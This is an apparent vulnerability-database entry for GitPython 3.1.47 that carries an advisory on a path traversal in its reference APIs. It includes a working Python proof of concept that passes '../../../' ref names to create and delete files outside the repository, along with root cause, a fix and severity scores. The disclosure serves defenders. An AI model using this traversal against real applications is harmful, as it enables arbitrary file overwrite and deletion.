Lookup for vulnerable packages by Package URL.

Purlpkg:pypi/gitpython@3.1.47
Typepypi
Namespace
Namegitpython
Version3.1.47
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version3.1.50
Latest_non_vulnerable_version3.1.50
Affected_by_vulnerabilities
0
url VCID-uyvb-m1pr-2kdy
vulnerability_id VCID-uyvb-m1pr-2kdy
summary
GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository
## 🧾 Summary

A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.

---

## 📦 Affected Versions

* Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout)

---

## 🧠 Details

### Vulnerability Type

**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**

---

### Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

---

### Affected Code

```python
def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
```

```python
@classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
```

```python
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)
```

---

### Attack Vector

**Local attack through application-controlled input passed into GitPython reference APIs**

### Authentication Required

**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**

---

## 🧪 Proof of Concept

### Setup

```bash
pip install GitPython==3.1.46
python poc.py
```

---

### Exploit

```python
import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())
```

---

### Result

```text
repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False
```

---

## 💥 Impact

### What can an attacker do?

* Create or overwrite files outside the repository metadata directory
* Delete attacker-chosen files reachable from the process permissions
* Corrupt application state or configuration files
* Cause denial of service by deleting or overwriting important files

---

### Security Impact

* **Confidentiality:** Low
* **Integrity:** High
* **Availability:** High

---

### Who is affected?

* Applications that expose GitPython reference operations to user-controlled input
* Git automation services, repository management backends, CI/CD helpers, and developer platforms
* Multi-user environments where one user can influence ref names processed on behalf of another workflow

---

## 🛠️ Mitigation / Fix

### Recommended Fix

```python
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
```

```python
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)
```
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-44243
reference_id
reference_type
scores
0
value 0.00096
scoring_system epss
scoring_elements 0.26352
published_at 2026-05-12T12:55:00Z
1
value 0.00096
scoring_system epss
scoring_elements 0.26407
published_at 2026-05-09T12:55:00Z
2
value 0.00096
scoring_system epss
scoring_elements 0.26336
published_at 2026-05-11T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-44243
1
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44243
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44243
2
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
3
reference_url https://github.com/gitpython-developers/GitPython
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
1
value 7.8
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/gitpython-developers/GitPython
4
reference_url https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value 7.8
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-05-07T19:12:42Z/
url https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24
5
reference_url https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48
reference_id 3.1.48
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
1
value 7.8
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-05-07T19:12:42Z/
url https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-44243
reference_id CVE-2026-44243
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
1
value 7.8
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-44243
7
reference_url https://github.com/advisories/GHSA-7545-fcxq-7j24
reference_id GHSA-7545-fcxq-7j24
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-7545-fcxq-7j24
fixed_packages
0
url pkg:pypi/gitpython@3.1.48
purl pkg:pypi/gitpython@3.1.48
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-9ktn-1cej-e3fb
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.48
aliases CVE-2026-44243, GHSA-7545-fcxq-7j24
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-uyvb-m1pr-2kdy
Fixing_vulnerabilities
0
url VCID-4tn4-pbvn-h3hx
vulnerability_id VCID-4tn4-pbvn-h3hx
summary GitPython has Command Injection via Git options bypass
references
0
reference_url https://github.com/advisories/GHSA-rpm5-65cw-6hj4
reference_id GHSA-rpm5-65cw-6hj4
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-rpm5-65cw-6hj4
1
reference_url https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4
reference_id GHSA-rpm5-65cw-6hj4
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4
fixed_packages
0
url pkg:pypi/gitpython@3.1.47
purl pkg:pypi/gitpython@3.1.47
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-uyvb-m1pr-2kdy
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.47
aliases GHSA-rpm5-65cw-6hj4
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4tn4-pbvn-h3hx
1
url VCID-sz7f-e4sp-y3aq
vulnerability_id VCID-sz7f-e4sp-y3aq
summary GitPython: Unsafe option check validates multi_options before shlex.split transformation
references
0
reference_url https://github.com/advisories/GHSA-x2qx-6953-8485
reference_id GHSA-x2qx-6953-8485
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-x2qx-6953-8485
1
reference_url https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485
reference_id GHSA-x2qx-6953-8485
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485
fixed_packages
0
url pkg:pypi/gitpython@3.1.47
purl pkg:pypi/gitpython@3.1.47
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-uyvb-m1pr-2kdy
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.47
aliases GHSA-x2qx-6953-8485
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-sz7f-e4sp-y3aq
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.47